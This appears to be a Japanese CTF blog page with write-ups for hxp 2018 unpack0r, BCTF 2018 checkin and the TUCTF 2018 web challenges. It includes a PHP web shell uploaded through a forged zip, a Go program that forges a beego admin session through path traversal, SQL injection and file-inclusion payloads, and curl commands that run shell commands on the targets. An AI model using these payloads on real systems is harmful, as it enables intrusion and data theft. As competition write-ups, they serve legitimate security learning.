こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

hxp CTF 2018 Writeup - unpack0r

問題文

unpackbar
Connection:
http://195.201.136.29:8087/

f:id:graneed:20181209104244p:plain

writeup

zipファイルをアップロードすると、ファイル名をチェックして解凍するプログラム。
^[a-z]+$正規表現でチェックされている。
例えば、.phpのファイルを圧縮してアップロードしても、.がチェックにかかるためNG。

ファイル名のチェックはPHPのZipArchive、解凍はunzipコマンドを使用している。
2つの方式の差異を突く問題だろうか。

$zip->numFilesで、zipファイルが含むファイル数を取得してから、各ファイル名をチェックしている。
$zip->numFilesを偽装すれば、ファイル名のチェックをバイパスできそうだ。

以下のサイトでzipファイルのフォーマットを確認する。

ZIP書庫ファイル フォーマット - 略して仮。

End of central directory recordに、ファイル数を表記する項目がある。

  • total number of entries in the central directory on this disk
  • total number of entries in the central directory

適当なファイルとPHPのWebShellのファイルをzip圧縮して、上記2項目を改ざんする。

# cat aaa 

# cat bbb.php 
<?php
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
?>

# zip test.zip aaa bbb.php
  adding: aaa (stored 0%)
  adding: bbb.php (deflated 20%)

バイナリエディタで変更する。 f:id:graneed:20181209110420j:plain

アップロードしてみる。

# curl http://195.201.136.29:8087/ -F zip=@test.zip
files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336

アップロードできた!

あとはWebShellのphpを使ってファイル探索するだけ。

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G -d "cmd=ls"
aaa
bbb.php

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=ls ../../../../../"
bin
boot
dev
etc
flag_IVSbATTqgejx9Hn2berSknRO.php
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=cat ../../../../../flag_IVSbATTqgejx9Hn2berSknRO.php"
<?php
'hxp{please_ask_gynvael_for_more_details_on_zips_:>}';

フラグゲット。
hxp{please_ask_gynvael_for_more_details_on_zips_:>}

BCTF 2018 Writeup - checkin

問題文

this is a checkin challange!
http://47.95.195.16:9999

f:id:graneed:20181128002808p:plain

writeup

まずは画面と機能を調査する。

  • Register
    name、gender、username、email、passwordを入力してアカウントを登録する画面。

  • Login
    usernameとpasswordを入力してログインする画面。

  • Articles
    皆が書いた記事を閲覧できる画面。 既に、他のプレイヤーによって投稿されたXSSやSQLiを狙ったコードが多数あるが、きちんとエスケープされている。

アカウントを登録してログインする。 f:id:graneed:20181128003843p:plain

ログイン後、以下のメニューが選択可能となる。

  • update your profile f:id:graneed:20181128004033p:plain
    Descriptionのテキストの変更と、Avator画像をアップロードできる画面。
    試しにアップロードをしてみると、以下のメッセージが返却された。
the avatar saved to /go/src/github.com/checkin/website/static/img/avatar/VsxipLGgeRuvUHRuQEjy.jpg
  • Publish New Article f:id:graneed:20181128004348p:plain
    TitleとContentを入力して投稿可能な画面。
    試しに、<>"'&#\といった記号を入力してみたが、きちんとエスケープされている。

一通り、画面機能を確認した後、適当にhttp://47.95.195.16:9999/hogeにアクセスすると404エラー。 f:id:graneed:20181128004754p:plain
Powered by beego 1.7.2の表示。
go言語のフレームワークであるbeegoを使用しているようだ。

beego.me

beegoの最新バージョンは v1.10.0。
よって、v1.7.2からv1.10.0の間に修正された脆弱性が攻略の糸口であると予想する。

リリースノートを見てみる。
Release Notes - beego: simple & powerful Go app framework
v1.7.2も載っていないし、どうやら全量載っていないようだ・・・。

gitからリポジトリをダウンロードして、commit logを追いかけることにする。
GitHub - astaxie/beego: beego is an open-source, high-performance web framework for the Go programming language.

Security関係の修正に着目して読み進めると、以下のcommit logを発見した。

commit 8391d26220d380b9c084ee425af0d3ba30dcc3ab
Merge: f64e6b7 9865779
Author: astaxie <xiemengjun@gmail.com>
Date:   Thu Nov 8 23:21:18 2018 +0800

    Merge pull request #3383 from LockGit/develop
    
    security question, fix arbitrary file read

#3383のプルリクを確認する。
github.com

beegoはセッション情報をファイルシステムやDB等、いくつかの形式で管理可能。
ファイルシステムで管理している場合に、sessionidに../<PATH>をセットすると、<PATH>で指定したファイルをセッション情報としてロードさせて成りすましができるようだ。

Avatorの画像をアップロードした際にファイルパスが表示されたことを思い出す。これを使うに違いない。

まずは、適当なsessionidをセットするとログイン画面が表示されることを確認した。

その後、Cookiegosessionid=../go/src/github.com/checkin/website/static/img/avatar/VsxipLGgeRuvUHRuQEjy.jpg をセットしてみる。

f:id:graneed:20181128010355p:plain

Service Unavailableのエラーになった! ../の指定によるファイルのロードは成功し、セッション情報のデコードに失敗してエラーになっているようだ。

よって、beegoがロード可能なセッション情報のファイルを作成して、アップロードすればよさそうだ。

なお、go言語を触ったことがなかったため、環境構築から開始した。
また、お作法がわからないため、体当たりでパッケージインストール。
pythonでいうvenvのような機能はあったのだろうか。

$ apt-get install golang
$ go get github.com/astaxie/beego/session

sessionパッケージのtestコードを参考にしながら、セッション情報の生成コードを書いてみる。

package main

import (
    "github.com/astaxie/beego/session"
    "log"
)

func main() {
    s := make(map[interface{}]interface{})
    s["username"] = "admin"
    s["UID"] = 1
    encoded_s, err:= session.EncodeGob(s)
    if err != nil {
        log.Fatal(err)
    }
    log.Printf("%v", encoded_s)

    decoded_s, err := session.DecodeGob(encoded_s)
    if err != nil {
        log.Fatal(err)
    }
    log.Printf("%v", decoded_s)
}

実行する。

root@kali:~/Contest/BCTF2018# go run PoC.go 
2018/11/28 01:18:34 [14 255 129 4 1 2 255 130 0 1 16 1 16 0 0 61 255 130 0 2 6 115 116 114 105 110 103 12 5 0 3 85 73 68 3 105 110 116 4 2 0 2 6 115 116 114 105 110 103 12 10 0 8 117 115 101 114 110 97 109 101 6 115 116 114 105 110 103 12 7 0 5 97 100 109 105 110]
2018/11/28 01:18:34 map[UID:1 username:admin]

UID:1、username:adminのセッション情報ができた。
これをファイル化する。

面倒くさいためCyberChefでパパっと作る。 https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)&input=MTQgMjU1IDEyOSA0IDEgMiAyNTUgMTMwIDAgMSAxNiAxIDE2IDAgMCA2MSAyNTUgMTMwIDAgMiA2IDExNSAxMTYgMTE0IDEwNSAxMTAgMTAzIDEyIDUgMCAzIDg1IDczIDY4IDMgMTA1IDExMCAxMTYgNCAyIDAgMiA2IDExNSAxMTYgMTE0IDEwNSAxMTAgMTAzIDEyIDEwIDAgOCAxMTcgMTE1IDEwMSAxMTQgMTEwIDk3IDEwOSAxMDEgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA3IDAgNSA5NyAxMDAgMTA5IDEwNSAxMTA

アップロードして返却されたファイルパスをCookieのgosessionidにセットし、プロフィール画面を表示する。

f:id:graneed:20181128012858p:plain
ビンゴ!Admin Panelのリンクがある。

f:id:graneed:20181128012925p:plain
フラグゲット!
bctf{Y0Uu_H4CK3d_A_B33G0_W3bs1t3?}

なお、curlで実行する場合は以下の通り。

root@kali:~# curl http://47.95.195.16:9999/profile/1/show -H "Cookie: gosessionid=../go/src/github.com/checkin/website/static/img/avatar/DhksBPTfwdFFZxXihuyD.jpg"
<!DOCTYPE html>
<html>
<head>
(snip)
<div class="container">
    <main-menu elements=""></main-menu>
    <div id="desktop-header-content"></div>
    <h1>Welcome to you account</h1>
    <h2>your "username" is "admin" you user "UID" is: "1"</h2>
    <a href="/profile/1/update">update your profile</a><br/>
    
    <a href="/admin_panel">Admin Panel</a><br/>
(snip)

root@kali:~# curl http://47.95.195.16:9999/admin_panel -H "Cookie: gosessionid=../go/src/github.com/checkin/website/static/img/avatar/DhksBPTfwdFFZxXihuyD.jpg"
<!DOCTYPE html>
<html>
<head>
(snip)
<div class="container">
    <main-menu elements=""></main-menu>
    <div id="desktop-header-content"></div>
welcome.<br/>
bctf{Y0Uu_H4CK3d_A_B33G0_W3bs1t3?}
(snip)

TUCTF 2018 Writeup - Web(全問)

TUCTF 2018、Web問は全て解いたので、まとめてWriteup記載。

Guessing要素が多めだった気がします。

目次

Mrs. White's Messy Maids

問題

Mrs. White's simple website might be hiding some murderous intentions...

Writeup

HTMLソースに/Boddyのコンテンツを示唆するコメントがある。

root@kali:~# curl http://18.218.152.56/
<html>
        <head>
           <title>Mrs. White</title>
       <link rel="stylesheet" href="styles.css">
       </head>    
        
    <body>    
        <h1>Welcome to Mrs. White's Maid Service</h1>
        <img src="https://tinyurl.com/ybbtf3nv" height="500">
        <p>We offer only the best maids for all your cleaning needs
        <br>
        To learn more about our services, call 275-317-3581
        <!-- I might kill if I could find him. Stupid Mr. /Boddy --></p>
        </body>   
</html>
root@kali:~# curl http://18.218.152.56/Boddy/
<html>
    <head>
       <title>/Boddy</title>
       <link rel="stylesheet" href="styles.css">
   </head>
    <body>
        <p>TUCTF{1_4ccu53_Mr5._Wh173_w17h_7h3_c4ndl3571ck_1n_7h3_c0mm3n75}</p>
    </body>
</html>

フラグゲット。
TUCTF{1_4ccu53_Mr5._Wh173_w17h_7h3_c4ndl3571ck_1n_7h3_c0mm3n75}

Mr. Green's Weird Website

問題

While investigating Mr. Green for something completely unrelated, we found this login page.
Maybe you can find a way in?

Writeup

usernameとpasswordを入力するログイン画面。

admin/adminでログイン成功。

root@kali:~# curl http://18.219.196.70/login.php -d "username=admin&password=admin"
<link href="login.css" rel="stylesheet" type="text/css"><title>Lovely</title><h1>TUCTF{1_4ccu53_mr._6r33n_w17h_7h3_b4d_p455w0rd_1n_7h3_l061n}</h1>

フラグゲット。
TUCTF{1_4ccu53_mr._6r33n_w17h_7h3_b4d_p455w0rd_1n_7h3_l061n}

Colonel Mustard's Simple Signin

問題

We know Col Mustard is up to something--can you find a way in to tell us what?

Writeup

usernameとpasswordを入力するログイン画面。

usernameにadmin、passwordに単純なSQLiの' or 1=1#でクリア。

root@kali:~# curl http://13.59.239.132/login.php -d "username=admin&password='%20or%201=1#"
<link href="login.css" rel="stylesheet" type="text/css"><title>Perfect!</title><h1>TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}</h1>

フラグゲット。
TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}

Miss Scarlet's Resume Requests

問題

Something is up with Miss's Scarlet's acting site. Maybe you can take a look?

Writeup

/contact.phpに遷移すると、以下のメッセージ。

All you need to do is find a way to Mr. Boddy. He's been blackballing me in the industry.

最初の問題と同じく、/Boddy/にアクセス。

root@kali:~# curl http://18.220.239.106/Boddy/
<html>
        <head>
                <title>Not a Clue</title>
                <style>
                        body {
                                background-color: #8B0000;
                                margin: 0;
                                padding: 0;
                                font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

                        }
                        div {
                                width: 600px;
                                margin: 5em auto;
                                padding: 50px;
                                background-color: #fff;
                                border-radius: 1em;
                        }
                        a:link, a:visited {
                        color: #38488f;
                        text-decoration: none;
                        }
                        @media (max-width: 700px) {
                                body {
                                        background-color: #fff;
                        }
                                div {
                                        width: auto;
                                        margin: 0 auto;
                                        border-radius: 0;
                                        padding: 1em;
                                }
                        }
                </style>
        </head>
    <body>
        <h2>That was a really good try...Did you think it would be that easy?
        <!--Maybe look into how easy it would be to receive some tissues in the 'post'--></h2>
    </body>
</html>

postしてみる。

root@kali:~# curl http://18.220.239.106/Boddy/ -X POST
<html>
        <head>
                <title>Mr. Boddy</title>
                <style>
                        body {
                                background-color: #8B0000;
                                margin: 0;
                                padding: 0;
                                font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

                        }
                        div {
                                width: 600px;
                                margin: 5em auto;
                                padding: 50px;
                                background-color: #fff;
                                border-radius: 1em;
                        }
                        a:link, a:visited {
                        color: #38488f;
                        text-decoration: none;
                        }
                        @media (max-width: 700px) {
                                body {
                                        background-color: #fff;
                        }
                                div {
                                        width: auto;
                                        margin: 0 auto;
                                        border-radius: 0;
                                        padding: 1em;
                                }
                        }
                </style>
        </head>
    <body>
        <h1>TUCTF{1_4ccu53_m155_5c4rl37_w17h_7h3_kn1f3_1n_7h3_h77p_r3qu357}</h1>
    </body>
</html>

フラグゲット。
TUCTF{1_4ccu53_m155_5c4rl37_w17h_7h3_kn1f3_1n_7h3_h77p_r3qu357}

Professor Plum's Ravenous Researcher

問題

Professor Plum is hiring! Maybe you can get the job!

Writeup

Professor Plumが、Mr. Boddyの居場所を探しているというストーリー。

まずは流れに沿って各画面の動きを調べる。

  1. /search.php
    Loactionの入力が可能なので、適当に入力すると/signup.phpLocation=<入力値>をsubmitした。

  2. /signup.php
    Found_Boddy=0Location=<base64エンコードされたLocation>のSet-Cookieが返却されて、/looking.phpへリダイレクトされた。

  3. /looking.php
    Maybe try somewhere else in the mansion?が表示された。

ここから結構悩む。

Found_Boddy=0Found_Boddy=1に改ざんするのだろうと容易に想像がつくが、Locationはどうするか?

立ち返って、そもそも、この一連の問題の元ネタをググってみる。

Cluedo - Wikipedia

有名なテーブルゲームらしい。映画化、ゲーム化もされたようだ。
wikipedia内に、ゲーム内に登場するRoomの情報を発見。

  • Kitchen
  • Ballroom
  • Conservatory
  • Dining Room
  • Cellar with envelope
  • Billiard Room
  • Library
  • Hall
  • Lounge
  • Study

順番に試してみると、Billiard Roomを入力時に、以下のメッセージに変わった。
Locationは合ったのだろう。
Maybe try looking again?

あとは、Found_Boddy=1に改ざんしてリクエストする。
ワンライナーで解く。

root@kali:~# curl http://18.223.185.148/looking.php -H "Cookie: Found_Boddy=1;Location=`echo -n 'billiard room'|base64`"
<title>Success!</title><link href="file.css" rel="stylesheet" type="text/css"><h1><center>Congrats! You found him</center></h1><p>TUCTF{1_4ccu53_pr0f3550r_plum_w17h_7h3_c00k13_1n_7h3_b1ll14rd_r00m}</p>

フラグゲット。
TUCTF{1_4ccu53_pr0f3550r_plum_w17h_7h3_c00k13_1n_7h3_b1ll14rd_r00m}

Easter Egg: Copper Gate

問題

We know Col Mustard is up to something--can you find a way in to tell us what?

Writeup

トップページには、youtubeの埋め込み動画とimages/banner.pngのみ。

root@kali:~# curl http://18.191.227.167/
<html>
    <body bgcolor="000000">
        <center>
            <img src="images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>Thank you for joining us today.</h1>
            <h3>Apologies, but the site is currently under construction.</h3>
            <h5>Please return at a later date for more content!</h5>
            <iframe width="560" height="315" src="https://www.youtube.com/embed/o5L94RV6ZDE" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
            <h5>- Joker</h5>
            </font>
        </center>
    </body>
</html>

/images/にアクセスするとディレクトリリスティングが可能。

root@kali:~# curl http://18.191.227.167/images/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /images</title>
 </head>
 <body>
<h1>Index of /images</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a>       </td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="banner.png">banner.png</a>             </td><td align="right">2018-11-23 22:13  </td><td align="right">511K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="logo.png">logo.png</a>               </td><td align="right">2018-11-23 22:13  </td><td align="right">7.1K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="sitenotes.txt">sitenotes.txt</a>          </td><td align="right">2018-11-23 22:13  </td><td align="right"> 89 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
</body></html>

sitenotes.txtを確認するとリンク先を発見。

root@kali:~# curl http://18.191.227.167/images/sitenotes.txt
Site is in development, but active updates can be viewed by going to /devvvvv/index.html

自動でhome.htmlへ遷移させられるが、コメント欄にもリンクを発見。

root@kali:~# curl http://18.191.227.167/devvvvv/index.html
<meta http-equiv="refresh" content="0; URL='home.html'" />

<!-- Congratulations! You have discovered the path to the first flag. Please continue your journey at "/enterthecoppergate/gate.html" -->

home.htmlには、この一連の問題の趣旨と、レディプレイヤーワン(映画)のリンク。
映画、面白かったですね。IT系ホイホイの映画。

root@kali:~# curl http://18.191.227.167/devvvvv/home.html
<html>
    <body bgcolor="000000">
        <center>
            <img src="../images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>Welcome to the development area</h1>
                <p>You may be asking yourself how you got here... Truth be told I have no idea either. You may want to figure that out.</p>
                </br>
                <p>Moving on, though.</p>
                <h2>I hope you have as much fun solving this as I did writing it.</h2>
                <h3>A big thank you to Warren Robinett for begininning this fun tradition.</h3>
                <p>In the spirit of the classic video game easter egg, I have hidden a series of challenges throughout this site. In the spirit of my favorite book, Ready Player One, there will be three challenges that will culminate into a final test.</p>
                </br>
                <p>For reference:</p>
                <a href="https://www.youtube.com/watch?v=cSp1dM2Vj48">Ready Player One Trailer</a>
                </br>
                </br>
                <p>Upon collecting the first three flags, a clue to the final challenge will be unlocked. For those that find their way to the end, a bounty of points will be your reward. Thank you to everyone for your participation. And now for the introduction.</p>
                </br>
                <h1>Introductions</h1>
                </br>
                <p>Three hidden flags open three secret gates.</p>
                <p>Wherein the challenger will be tested for worthy traits.</p>
                <p>And those with the skill to solve what I create</p>
                <p>Will reach The End, where the points await</p>
                </br>
                </br>
                </br>
                <h1>The First Challenge</h1>
                </br>
                <p>The Copper Flag awaits your attention</p>
                <p>Somewhere in an old direction</p>
                <p>But you have much to review</p>
                <p>If you hope to accrue</p>
                <p>The points protected by this section.</p>
                </br>
                </br>
                </br>
            </font>
        </center>
    </body>
</html>

もう1つのコメントアウトされたリンクを見るとbase64エンコードされたフラグをゲット。

root@kali:~# curl http://18.191.227.167/enterthecoppergate/gate.html
<html>
    <body bgcolor="000000">
        <center>
            <img src="../images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>CONGRATULATIONS!</h1>
                <h2>You have found the Copper Flag.</h2>
                </br>
                <img src="copperkey.jpg" alt="Copper" height=272 width=640>
                </br>
                <p>
                    <b>VFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==</b>
                </p>
                </br>
                <h1>The Jade Flag</h1>
                <p>The updates conceal the Jade Flag</p>
                <p>in a backup long neglected</p>
                <p>But you can only retrace your steps</p>
                <p>once the logs are all collected</p>
                </br>
                </br>
                </br>
            </font>
        </center>
    </body>
</html>

フラグゲット。
TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}

Easter Egg: Jade Gate

問題

Gotta make sure I log my changes. - Joker

Writeup

1つ前の問題で、logとかbackupとかヒントが出ていたので、リポジトリがあるものと想像。
/.git/ディレクトリを発見。

以下コマンドで全取得する。

wget --recursive --level inf --no-clobber --random-wait --restrict-file-names=windows --no-parent -R "index.html?*" http://18.191.227.167/.git/

取得後、ファイルを確認。

root@kali:~/18.191.227.167# git ls-files
crystalsfordays/index.html
crystalsfordays/traversethebridge.php
devvvvv/home.html
devvvvv/index.html
enterthecoppergate/copperkey.jpg
enterthecoppergate/gate.html
enterthecoppergate/index.html
enterthecoppergate/jadekey.jpg
images/banner.png
images/logo.png
images/sitenotes.txt
index.html
youfoundthejadegate/gate.html
youfoundthejadegate/index.html
youfoundthejadegate/jadekey.jpg
youfoundthejadegate/star.jpg

http://18.191.227.167/youfoundthejadegate/gate.htmlを確認する。

root@kali:~# curl http://18.191.227.167/youfoundthejadegate/gate.html
<html>
    <body bgcolor="000000">
        <center>
            <img src="../images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>CONGRATULATIONS!</h1>
                <h2>You have found the Jade Flag. No, actually this time.</h2>
                </br>
                <img src="jadekey.jpg" alt="Jade">
                </br>
                <p>
                    <b>TUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}</b>
                </p>
                </br>
                <h1>The Crystal Flag</h1>
                <img src="star.jpg" alt="Rush">
                </br>
                </br>
            </font>
        </center>
    </body>
</html>

フラグゲット。
TUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}

Easter Egg: Crystal Gate

問題

I don't wanna go anywhere.

Writeup

gitリポジトリより、http://18.191.227.167/crystalsfordays/traversethebridge.phpがあることが判明している。

リポジトリにあったコードは以下のとおり。

<?php
echo 'Note: Only used for access management and to check user info.';
echo '<br>';
echo 'Note2: I can\'t seem to remember the param. It\'s "file"';
echo '<br>';

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (strpos($file, '/etc/passwd') == true) {
        include($file);
    }
    elseif (strpos($file, '.ssh') == true) {
        include($file);
        echo '<br>';
        echo 'Probably shouldn\'t put my own key in my own authorized keys, but oh well.';
    }
}
?>

ただ、どうやらこのソースとサーバ上にあるソースは異なるようだ。
試行錯誤した結果、以下のパラメータでフラグゲット。手動ファジング。

root@kali:~/18.191.227.167# curl http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../
Note: Only used for access management and to check user info.<br>Note2: I can't seem to remember the param. It's "file"<br>..
.bash_history
webserver
.
.bash_logout
.bashrc
.bash_profile
TheEgg.html
<br>
root@kali:~/18.191.227.167# curl http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../TheEgg.html
Note: Only used for access management and to check user info.<br>Note2: I can't seem to remember the param. It's "file"<br><html>

<p>THE END</p>
<p>Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process.</p>
<p>- Joker</p>
<p>TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}</p>
</html>

フラグゲット。
TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}